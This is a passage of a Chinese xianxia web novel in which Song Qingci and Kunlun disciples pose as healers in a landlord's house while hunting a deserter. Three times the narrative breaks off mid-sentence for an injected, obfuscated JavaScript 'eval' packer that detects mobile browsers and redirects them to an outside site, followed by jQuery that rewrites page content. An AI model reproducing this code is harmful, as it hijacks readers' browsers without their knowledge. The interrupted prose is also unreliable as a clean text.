当初徐绪笙接了份山下的任务,那是他第一次出昆仑山,就遭人陷害,深受重伤,意识昏迷,差点死在外面,幸好被宋清词救了。
后面徐绪笙回到了昆仑山,向仙尊们禀明了此事,经一番调查,竟查到了昆仑山内部的弟子身上。
这让在场的众人震惊不已。
昆仑山和其他宗门不同,每个刚入门的弟子都会被嵌入独有的蝉心,不仅确保弟子不会藏有异心,而且能斩断其他势力派来卧底的可能性。
不曾想到底还是让卧底潜伏进来了。
对此玉虚仙尊勃然大怒,下令彻查此事。
而那被查出来的弟子本来关在水牢里,却不知怎么逃了出去。
徐绪笙负责追查此事,孟幼仪和巫桐等几人是派来帮忙的。
宋清词眼珠转了转,“这应该属于你们宗门的秘事,就这么和我说了…会不会不太好。”
她真没想到竟会是这样的理由,孟幼仪就这么大大方方的说了出来。
自己身为一个外人知道了其它宗门的秘事,怕是会死的很惨。
“不会啊。”孟幼仪倒不觉得自己有说什么,无所谓地耸了耸肩,“就算我不告诉你,他也会告诉你的。”
这个“他”是谁不言而喻。
她们都不在乎,宋清词自然不好说多说什么,关心起了另
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307495|181594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
外一个话题道:“你们准备怎么去刘地主家里?”
孟幼仪道:“看看能不能正大光明的进去,不能的话溜进去。”
宋清词眼角一抽,她真没想过孟幼仪她们会和自己是同样的的想法,之前见他们讨论,还以为已经想好了对策。
宋清词道:“只能见机行事了,不知这机会要等到何时。”
孟幼仪似回忆起什么,眼底闪过狡黠的笑意,“不会等太久的。”
宋清词以为孟幼仪单纯安慰她那么一说,却没想到下午传来了刘地主为重病在床的刘德正重金寻医的消息。
消息一出,宋清词心里哪有什么不明白的,难怪那天孟幼仪会放刘德正走,原来在这儿下了黑手。
宋清词打算去找孟幼仪,却被刚醒不久的徐绪笙拦住了去路。
徐绪笙紧抿着唇,“当时说的话不能不作数。”
“那句话?”宋清词故意使坏反问。
他不说话了,脸上逐渐染上红晕,似难为情般,小声说道:“负责的话,醒了之后不会翻脸不认人。”
宋清词假装一副了然的表情,“等会儿再说,我说话自然是说到做到。”
得了宋清词的承诺,徐绪笙不再纠结,甚至有些小开心,“你要去哪里?”
“去找孟小姐。”
“我跟你一起去吧。”
宋清词没拒绝,二人去找了相隔不远的孟幼仪。
巫桐也在屋内。
一见过来的宋清词,他几不可察地蹙起了眉,很快又收了回去。
哪怕他转换的幅度很小,宋清词仍是察觉到了。
若非必要情况下。她自不会自讨没趣凑去明显不喜欢自己的人身边。
“你们来的刚刚好。”孟幼仪眉开眼笑,颔首示意他们去看早已准备好的东西道:“刘德正突患重病的消息应该已经传出来,我们等的时候到了。”
“到时候分成两队人,一前一后进去,进去了一定要装作不认识!”
“要是被刘德正识破怎么办?之前他已经见过了我们的样貌,若这样毫不掩饰的进去,恐怕会被当场拆穿。”宋清词担心问道。
孟幼仪不在意道:“怕什么?刘德正中的那个毒,现在怕是连自己亲爹都认不出来,更别提会认识我们了,只要稍微伪装下声音,就不会被发现的。”
“那他身边的那些护卫怎么办?”巫桐不赞同她的想法。
“我在他们的识海里下了禁制,不会被发现的,尽管放心!”
孟幼仪心中早有筹谋,目前发生的一切皆在她的意料之内。
她们重新商讨了关于分组的问题。
宋清词想把小月留在客栈,刘地主府内的情况未知,如果把她带了进去,到时候发生了危险那就麻烦了。
但她也不能独留小月在客栈,必须得找人照料。
宋清词问过赵燕茹愿不愿留在客栈,赵燕茹拒绝了,并表明自己想帮他们,要同他们一块去。
那么谁来照顾小月成了难题。
她想来想去,托付满风客栈的掌柜照顾,以防万一,还留下了用来防身的法宝。
16. 刘府
“如果陌生人和你说话,千万不要搭理明白吗?”宋清词向小月叮嘱道。
椿水镇处处透露出古怪,她总觉得单放着小月一个人会出意外,稍后又怀疑自己是不是想太多了。
小月乖巧的应道:“我知道啦,一有不对劲的地方我会偷偷用用那块石头跟你说的。”
“小心周边的人,筋惕无端上来搭话或者接近的人,稍微感到不对劲就按照你说的那样跑。”小月奶声奶气地重复着宋清词根她说的那些注意事项。
“这些类似的话赵姐姐也和我说过一遍。”
赵燕茹会说这些话。宋清词倒不奇怪。
她在储物袋里翻来覆去找了半天,终于能找到能用的,她隔空掏出一副硕大的木头傀儡人,足足有六尺高。
她双手飞速地打结印,中指和食指弯着,其它三根手指合在一起,“万物负阴而抱阳,冲气以为和,归一,动。”
硕大的木头傀儡人动了动身子,一块石头正中它的额头中央,木头霎时变成了人皮,空白的脸上多了普通得不能再普通的五官,眼前的木头傀儡人摇身一变成了活生生的人。
“主人。”木头傀儡人冷冰冰道。
宋清词下了命令,“保护好她,不允许发生任何意外。”
“是。”
小月被木头傀儡人簇拥着,新奇地打量着它,跟发现了宝藏似的。
有了这个傀儡木头人在小月身边,宋清词终于可以稍微放下心,傀儡木头人是鱼双担忧原主的安危送的,它的修为相当于金丹期,除了极大的变故,对付其他人绰绰有余。
倘若横遭意外,那人的修为远超金丹期,就算她在,也护不住小月。
这是宋清词想到最好的办法了。
宋清词同徐绪笙和孟幼仪分作一组,巫桐和赵燕茹是第二组。
她们未先去刘地主家里,倒是让刘地主叫人喊她们过来了。
来人是刘地主府中的仆人,长得好生面熟,正是那日被孟幼仪帮了一把的牛铁柱。
牛铁柱作揖对那日之事再三表示感谢,客客气气道:“想必您多少有所听闻,刘老爷家中的儿子重病,那日刘老路过,恰好听闻了我同府中其他人的谈话,得知了您的医术了得,想要将你请入府中为他诊治一二。”
他把话说到这里,想也知道,多半是看在孟幼仪救了他儿子一命的份上,想要借花献佛,报答她的救命之恩。
事能成当然是最好的,若不能也不会损失什么。
孟幼仪眼神微微抬起,牛铁柱的这份助力无疑有利于她能多在刘地主面前刷存在感,对于她们计划的事情有利无弊。
“谢谢你。”孟幼仪不经意试探问道:“就是不知道刘地主家中的儿子究竟是得了什么病?他发病时的症状又如何?”
“这……”牛铁柱一愣神,没预料到她会问他这个问题,老实道:“我倒不清楚,听过伺候他的丫鬟提过一嘴,瞧着脸色发紫,嘴唇泛白,甚至瘆人的模样。”
孟幼仪道:“那好,事不宜迟,你带我们过去罢。”
“斗胆问一句,后面那两个人是您的……”牛铁柱一直就想问了,他见过宋清词。但没见过徐绪笙。
孟幼仪道:“他们是我的朋友,能协助我看病。”
牛铁柱恍然,没再多问,连忙带着他们一并去了刘府。
她们走的时候,宋清词给赵燕茹传音说她们先去刘府,让她和巫桐看着办。
漫风客栈离刘府的距离有些远,他们走了好长一段路才走到,刘府位于椿水镇最繁华的中心。
府邸宽阔壮大,雕梁画栋,镂空雕花的大门尽显气派,飞檐上四角翘起,摆在两旁的石狮栩栩如生,似乎下一秒就要破空咬死盯着它看的人。
牛铁柱作了个请的手势,示意他们上前。
他们一进入刘府就有管家迎面而来。
“您就是牛铁柱说的那名医术高超的医师?”管家瞟了眼宋清词,不确定地说道。
宋清词指着身边站着的孟幼仪,“我们是医师的助手,她才是医师。”
管家略带歉意道:“对不起,是我唐突了,那么先请各位去前院等候一二,马上轮到你们了。”
宋清词愣神片刻,很快应好。
马上她就知道,管家口中的等候一二是指多久了。
前院里站了许多被刘地主丰厚的酬金吸引来的人,几乎没地方站了。
宋清词只好站在稍微外面些的地方,“原来那管家说的话在这里。”
“这么多人。”孟幼仪抱怨道,“早知道晚点来了,这要排到什么时候?”
和她们几人预料的不一样,她们起初想的是既然刘地主事先派人来满风客栈寻她们,那便是早已准好妥当,一来就能见到刘德正。
如今却叫他们和旁人一同待在前院等着。
那表达的意思很明显了。
“别着急,”徐绪笙平静道:“他这是在警告我们,同时也是给下马威。”
宋清词不着急,左右病死的不会是她儿子,刘地主的小把戏摆在明面上了,足以见得他并不是位好相处的人。
孟幼仪道:“那再等等看。”
前院等候的人皆拿了号码牌,挨个去给刘德正问诊。
孟幼仪同样领了一个。
天色渐渐黯淡下来,前院的人逐渐变少,但那人数摆在那里。看诊需要时间,今天估摸着排不到她们了。
管家带着人前来,冲着她们喊道:“今日问诊到这里,时候不早了,各位也前去准备好的屋内休息罢,明日再按照号码牌看诊。”
在座等的部分人不乐意,带着其他人,七嘴八舌的议论声起来。
“这么多人,到底要排到何时?”
“就是就是,哪有这样求人治病的。”
“我们等了这么久白等了?”
“要治病就赶紧治病,放我们过去,今日复明日,要什么时候才会治好?”
“诸位———”管家波澜不惊,显然对诸此场景习以为常,应对自如道:“稍安勿躁,话别说的那么难听,来的人多,我们的确得挨个看,”
他话锋一转,“要不然怎么才能知道藏在里面的,哪些是浑水摸鱼进来的庸医,哪些是真正医术高超的医师呢?”
“若再闹下去,惹得老爷不开心了,后果你们也是可想而知的。”
管家赤裸裸威胁的话无疑惊起了一片惊涛骇浪。
是了,刘地主是谁?
什么时候是个好说话的主儿。
正如管家所言,他们之中不乏因刘地主给的报酬过于丰厚而赌上一把的人,真正医术好的没多少。
此话一出,在场的众人安静下来,管家很满意,让小厮和丫鬟们带着他们去了安排好的厢房。
宋清词在前院时对刘府的大还没感觉,等到她真正走出前院才会“大”有了实感。
刘府能一口气装下前院中的那么多人就足以证明它有多大。
穿过前院,沿着长廊往里,宋清词眼前豁然开朗,月明星稀,美仑美奂,处处都是奇花异草,花香萦绕,墙头窜出一枝桃花。别有幽情。
刘府的花园颇大,宋清词走了会儿,看到了并排着的红砖青瓦住房。
管家将她和孟幼仪安排在一间,隔壁住着徐绪笙。
等领着他们的人一走,她们便商量着去刘府中走动走动。
徐绪笙垂着眼皮,不赞同她们的想法,“今日的人太多了,这是第一天,若现在去观察,容易被他们察觉。”
孟幼仪却抱着和他相反的观点,反驳道:“正是因为今天第一天,人多,我们走动才不会那么容易被察觉。”
说着她扬起头,看着宋清词,等着她来开口。
“你说的没错。”宋清词轻声道:“人多眼杂,我不信今天只有我们会出去。”
僵持片刻。徐绪笙终究妥协了。
“出去可以,但千万要小心。”徐绪笙单独行动的时候从来不会考虑这些,可今天他得护着一众人的安危,考虑也不得多了起来。
如宋清词说的一样。
今天晚上出门的的确不止他们。
众人各怀鬼胎,进入刘府的目的只有他们自己心里清楚。
管家并未对此做主太大的劝阻,由着他们随意走动。
宋清词心想,刘地主敢喊那么多人过来,估摸着早就做好了掩饰,今天瞧着阵仗就像精明的人。
许是人实在太多了,她们一路走去没碰上后面赶来的巫桐和赵燕茹。
宋清词逛了圈刘府,将府内大半的布局摸的一干二净,的确没发现出异样的问题来。
她忽然问道:“那人会不会不再刘府。已经走了?”
“绝无可能。”徐绪笙否认道,“我查到他最后出现的地方就是刘府,他又身受重伤,跑不远的,以他的个性,绝对不会选择离开。”
“说得不错,他是个不达目的决不罢休的人,从来不会做无用功。”孟幼仪与那名叛逃的弟子有过接触,了解他的性格。
二人的态度如此肯定,宋清词不再多说什么。
如此她们又折返回去歇息。
今天没找到有用的信息,明日见了刘德正再决定。
他们见到刘德正已是下午。
速度竟轮得算较快的了。
管家恭敬地向他们行了礼,领着他们来到了刘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307496|181594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
德正的屋子门口。
出乎意料之外,没曾想刘地主会出现在这里。
刘地主年过六旬,颧骨很高,两鬓斑白,又矮又胖,穿着浅白色圆领袍,衬得他整个人愈发得臃肿。
他的目光宛如毒箭射了过来,死死地盯着孟幼仪,像要把她盯出个洞来。
孟幼仪依旧保持着那副遇事不惊的态度,悄无声息地迎来上去。
良久,刘地主才松开了放在孟幼仪身上的目光,扶着拐杖带他们进了刘德正的屋子。
刘德正静静躺在床塌上,紧闭着双眼,通身发紫,嘴唇苍白,像是被人打了一顿,头肿的跟猪头似的,臃肿无比。
他的脸色难看至极,嘴里不停地念叨着什么,放着的双手止不住的哆嗦。
随后赶来的管家向他们说明了刘德正的情况。
他前不久刚回家,当天晚上便发生了这样的情况,毫无征兆,起初身体是正常的肤色,到了后来逐渐发紫,接着头,手,腿和肚子仿佛一个充气鞠,不断地胀大。不出三日的时间成了如今的模样。
刘地主怀疑他这是中了毒,可不论找了多少名医师,翻遍无数名书都找不到类似症状的毒。
孟幼仪坐在木椅上,将刘德正的左手拉了出来,在他的腕上盖了帕子,替他把脉。
“看样子……情况相当严重。”孟幼仪收回把脉的手,脸色凝重,拧着眉头说道。
刘地主问道:“怎么说?”
“这……”孟幼仪面目犹豫之色,看了管家一眼,管家急忙道:“医师尽可大胆说,治好了我们家老爷有赏。”
孟幼仪叹息:“那好吧。”
她忽视了刘地主目光里掩饰不住的冷意,说道:“你们要有个心理准备,这病不一定能治好,令郎的确中了毒,不过这毒与寻常的毒不同,是百年难得一见的屠观音。”
“中毒之人不出七日,便会因承受不住强烈的毒而身亡,现在快过三日,接下来几天他可能会浑身冻住,要不了多久,整个人会化成一滩血水。”
刘地主心头一紧,脸色阴沉,攥紧了手中戴着的佛珠,关切问道:“可有破解之法?”
“有是有。”孟幼仪面露难为之色,“如果能做到在他化为一滩血水前,找到难得的百骨草,便能化解。”
刘地主松了一口气,“只要有破解之法,一切都不是问题,百骨草在那里能找到?”
“它生长在悬崖峭壁之间,不过…椿水镇怕是离的太远了。”
“无碍,劳烦医师了。”
宋清词听到孟幼仪的话,双眸转动,心里有了主意。
孟幼仪借口要为刘德正缓解伤害,让刘地主他们离得远些,宋清词和徐绪笙走上前一步作助手帮她的忙。
看实在帮忙,实际上游手好闲。
孟幼仪并不需要她和徐绪笙替她做些什么,只是为了三人更方便些交流。
宋清词装模作样的按照她说的帮她递去能用到特殊的针扎穴位。
而徐绪笙负责观察刘德正异常的症状,稍有不对劲的地方就告诉孟幼仪。
孟幼仪不会让刘德正那么快死去,所以她这次的施针的确有助于缓解他身上中的屠观音。
刘德正原本通身发紫,现在紫色稍微淡了些,脑袋没有像之前那般大了。
刘地主瞧着自家儿子肉眼可见的有了好转,对他们的态度变得好些。
“从今天开始一连三日我都会给他施针,施针只能暂时缓解他的疼痛,并不能彻底治好他,早日找到百骨草才是最好的办法。”孟幼仪收拾着自己的东西,对着刘地主说道。
替刘德正缓解了病状,他们又回到了屋子,据闻讯而来的牛铁柱说的,从他们走后,刘地主另外又找了好几个人进来诊治,结果无一例外,没有人能像她这般立刻让刘德正的病情有好转,大多数要么看不出来,要么胡编乱造。
刘铁柱看向孟幼仪的眼神不由多了丝敬佩。感慨道:“果然姑娘的医术天下一绝,他们都比不上你,你敢说第二,没人敢说第一。”
孟幼仪也不谦虚,自夸道:“的确如此,我的医术可是最好的,我敢说这世上再找不到比我更懂如何治好刘公子得的病的人了。”
宋清词眼观鼻鼻观心,心道可不就是吗,刘公子身上的病是她下的,自然没人比她更会解了。
其它的她不好恭维,听徐绪笙说过,她的本职并不是医修,在医术也就是三脚猫的功夫。
她倒有几分好奇,怎么从未听过修真界有这种症状的毒,待牛铁柱走后,她定要问问孟幼仪。
牛铁柱自然没发觉哪里不对,那日之后,在他心里,全天下的医师的确没有再比孟幼仪医术更好的了。
17. 诅咒
牛铁柱走后。
没多久,他们又出去了,穿了夜行衣,悄悄跟在刘地主身后。
趁着孟幼仪给刘德正施针,宋清词在刘地主身上藏了颗定位石,之前正是因为有了这块石头,她才能知道在集市上孟幼仪他们的位置。
早在孟幼仪和刘地主说出需要悬崖峭壁之际的百骨草时,她就想到了这点,若说旁人不知晓传送阵的位置勉强说得过去,但刘地主不可能不知道。
真不知道的话怎么可能这么巧,府邸的位置恰好盖住传送阵?
何况当孟幼仪说出那话,刘地主想都不想直接同意了。
如果刘地主真爱子心切,在剩余不多的时间里,一定会派人坐传送阵出去找百骨草。
眼下自然而然成了找到传送阵最好的时机。
有了夜行衣,他们的行踪算顺畅,一路藏在黑影里悄悄地走,没人发现他们。
宋清词跟着定位石的位置,领着他们往刘地主的位置走去。
结果出乎意料,刘地主并没有派人出去,他仅仅待在自己的房内。
屋外的雕窗上倒映着两道晃荡的人影。
二人的对话声从里至外传出。
“他们当时是怎么和我承诺的?要不是他们再三承诺会护我儿的安危,我才不会和他们合作,结果我儿现在成了这副凄惨的模样!”
“大人莫急,现在小公子的事最重要,不过只怕现在叫他们派人去找百骨草,他们是不会同意的。”
相较于刘地主气急败坏的怒吼,那头温润的男声显得愈发平静。
“呵。我敢叫他们去吗?别那时带回来的不是百骨草,而是索命草!”
“福来,此事我交给别人办不放心,唯有你办最合适,到时候你带几个人去找,切记暗中行事,莫要让他们发觉。”
“是。”
刘地主平复了心情,交代福来几句。
福来得了刘地主的命,推开门出去。
宋清词藏在地上的黑影里,见福来出来了,连忙往黑影的更里面躲了躲,不知是不是她的错觉,竟感觉福来出门时,有意无意地朝他们这处瞥了一眼。
惊得她心里发怵,浑身充满警惕,幸好他的目光很快收了回去。
宋清词他们踩着黑影,跟在福来身后。
然而,福来今晚并未采取行动,静静坐在屋内,一夜都没出门。
他们等到黎明始终没见福来有动静,于是便回去了。
宋清词到底留个心眼,在福来身上藏了定位石,这样下次福来动身,她能第一时间知道他的位置。
刚回去,宋清词左脚还没迈进房门。
她最不愿意听到的系统声萦绕在脑海。
【漆黑的屋内微弱的烛火闪烁,徐绪笙正欲合衣而眠,你却趁其不备溜进屋内,跨坐在他的身上,挑起他的下巴,媚惑道:“阿笙,从了我吧。”】
宋清词倒吸一口凉气,这和之前的剧本不一样,到底为什么换了个剧本?
这台词,系统敢说,她都不敢听。
孟幼仪见她待在门口,迟迟不进来,疑惑问道:“怎么了?”
“没事。”宋清词若无其事地调转了方向,“你先进去,我等会就回来。”
见她去的方向,孟幼仪这下还有哪里不明白的?
她意味深长道:“其实今晚不用回来也可以的。”
隔壁屋的徐绪笙坐在床榻上,垂头揭开自己的衣带,丝毫没注意到昏黄的烛光下一晃而过的身影。
等他反应过来时,宋清词已经跨坐在他面前。
“你,”宋清词盯着徐绪笙漆黑如墨的眸子,他毫不挣扎,视线直直地和她相交。让她哑然无声,一时间忽然忘记了自己接下来要说的话。
半晌,她琢磨了良久,挑着他的下巴,说道:“你…从了我吧。”
她酝酿情绪许久的情绪,才足以让她说出这句话。
脑海中的警报声解除,宋清词起身,拍拍屁股准备走人,却被一股强大的力量禁锢在面前之人的怀里。
徐绪笙闻言撩起眼皮,晦暗不明的眸子微不可察地亮了,声音有些沙哑,“好。”
“改天吧。”宋清词眼神转了转,哄道:“今天不行。”
徐绪笙缄默半晌,最终松开了拉着她的那双手。
在沉默的时间里,他有无数个问题想要问宋清词。
为什么那日她一声不响地离开?
为什么再见面她装作一副不认识的他的样子?
为什么她老想着远离他?
为什么她总是骗他?
为什么她总有那么多的理由?
难道他就有那么不堪吗?
他就像一条听话的狗一样,招之来挥之去,不听话的时候毫不在意地扔在一边,等待她下次的垂怜。
可是他最终什么都没问出口。
他怕有些问题一旦问出去了,二人的关系就再不复从前。
所以她对他做的那些事情,他从来都没有追问,也不敢追问。
宋清词就是这样的人。
望着宋清词离去的背影,徐绪笙发出自嘲般的笑声。
“你回来了?”孟幼仪眼底掠过讶色,她以为宋清词不回来了,“怎么没留在哪里?”
宋清词无奈道:“你瞧你,真的只是跟他说几句话而已。”
她不愿多说,孟幼仪也不会再过问。
只是宋清词没休息多久,收到了赵燕茹的消息。
自从上次说分开行动,她就再也没见过赵燕茹。
见赵燕茹传音传的如此急迫,宋清词以为她那边遭遇了意外,火急火燎地去了。
路上偶遇刘府的管家。
管家关心问道:“是何事令宋姑娘这么着急?”
宋清词说:“想起了有东西落在外头,赶着回去拿。”
“那好,我便不耽误姑娘的时间了。”管家并未多问,让宋清词离开了。
宋清词来到赵燕茹传音的地址。
是间酒楼。
酒楼离刘府不远,算得上近,赶巧碰上饭点,酒楼里人来人往,有不少的人。
她扫了眼四周,瞥见赵燕茹坐在斜对面,朝着那个位置走去。
“可是得到了有用的消息?”宋清词这趟赶的急,连孟幼仪都没来得及说,得到赵燕茹的传音第一时间赶来。
赵燕茹那头给她发的消息也的确说是急迅,叫她快点过来。
赵燕茹左右打量,确认四下没人注意他们这边后,才开口说道:“前些日子,我和巫桐一直在刘府的暗处,想看刘府有没有可疑的地方。”
“可不管怎么找,始终都没找到,于是我们把目光投向府中的下人。”
“结果你猜怎么着,刘府的仆人哪里都会打扫,唯独后院中的那口井是禁区,听说是之前有仆人莫名死在那井底,从此管家便勒令再也不准有人靠近。”
“井的位置在哪里?”宋清词在府内倒没找到赵燕茹说得那口井的位置,想来是被刘地主封起来了。
赵燕茹正要说话,却被前来的小二打断,“这是您点的菜,请二位慢慢享用,如有需要请尽管吩咐小的。”
赵燕茹摆摆手让她退下,继续刚刚没说完的话:“后院一路走到底,就能瞧见那口井,自从发生那件事以后,那口井也被封起来了,一般人是不会去的。”
“等找个机会看看。”宋清词摩挲着杯口,若有所思地望着在茶水里倒影的自己,说道:“那巫桐呢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307497|181594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?怎么只有你一个人?”
赵燕茹握着茶杯的手几不可察地晃动,随后道:“他继续在刘府观察,让我跟你们说这事,只是你们毕竟被刘地主留下来替刘德正治病,人来太多了容易被他察觉不对劲。”
宋清词没否认,说道:“说得有道理,那我得回去了。”
“再坐坐吧,不着急。”赵燕茹指着桌上的几道菜劝道:“吃完再走也不迟。”
宋清词勾唇扬起好看的弧度应道:“好。”
等她们吃得差不多,宋清词和赵燕茹告别,提前走了。
她快到刘府时,远远瞥到有人不顾刘府门口下人的阻拦,直接闯了进去,大声道:“苍天有眼,你刘德正往日横行霸道,当街打人,强抢民女,无恶不作,今日得这种怪病就是罪有应得!”
“上天的诅咒应验了!它不会放过任何一个为非作歹的人,刘德正只是开头!接下来还有你!刘地主你也不是个好东西,多年来非但不劝阻,还纵容自己的儿子,甚至替他隐瞒。”
“刘德正的种种恶行,都有你刘地主的功劳!恶霸行为,你们全家都不得好死!!!”
“刘德正死了,你很快就会去陪他的!真是老天开了眼,哈哈哈哈哈哈,你们都去死,都去死啊!”
话音刚落,那人就被捂住了嘴,管家带着一帮人堵在身前,跟着管家的人直接冲了上去,拿着棍子就往他身上打。
根根棍棒挥下,血肉模糊,躺在地上的人发出痛苦的尖叫声,显得男人方才的挣扎分外可笑,落在布衣上的痕迹已经分不清楚是泪水还是血水。
管家带着的那帮人简直将男人往死里打,下手毫不顾忌,周围来来往往的行人视若无睹,仿佛对此早已司空见惯,连目光都不惜得分一丝在这里,该干嘛干嘛。
过了很久,那人被打得发不出声音,只剩下微弱的声息时,管家才肯罢手,示意他们停止,犹如垃圾般,将他随意找了个地方一扔,转头就走。
宋清词悄悄跟在她们身后,等管家手底下那帮人走后才敢出来。
她拿出丹药撬开男人的唇塞了下去。
不一会儿,中年男子醒了,似是没预料到会被人救,愣了片刻,声音干涩问道:“你为什么要救我?”
“可能是心情好?”
宋清词观察了中年男子许久,听了他在刘府前说的话,想着有没有线索在他身上,可他那样子翘着都快死了,只好先将他救活。
“你和刘德正发生了什么?为什么会说那样的话?”宋清词蹲下身,看着中年男子充满绝望的眼神,冷不丁问道。
中年男子愤愤道:“那是刘德正罪有应得,我在镇上开的好好的馄饨店,那日因有事叫我女儿帮我照看店铺一二,没曾想被路过的刘德正瞧见了,他见我女儿生的貌美,竟生了歹心。”
“我女儿誓死不从,他却当着街上那么多人的面,强抢民女!叫我如何能甘心?”
“我儿正巧回来撞上这一幕,便出手拦着刘德正。可他双手难敌四拳,刘德正向来出门带的人多,一时失守,竟把我儿活活打死!”
“我女儿因接受不了刺激,一头撞死了。”
中年男子越说越气愤,他整个人恍若老了十岁,头发全然发白,一双儿女全死在刘德正手上,这叫他怎么能甘心?
他不仅恨刘德正,同时更恨自己。
为什么当日要叫女儿看店?
如果不叫她看店,会不会就没有那件事了?
“不必自责,这件事不是你的错。”宋清词看出了他心中所想,直接点明道:“要怪只能怪那罪魁祸首。”
“只是…为什么要说上天的诅咒?”宋清词在村里听过村民是这么说的,没想到面前的中年男子也会这么说。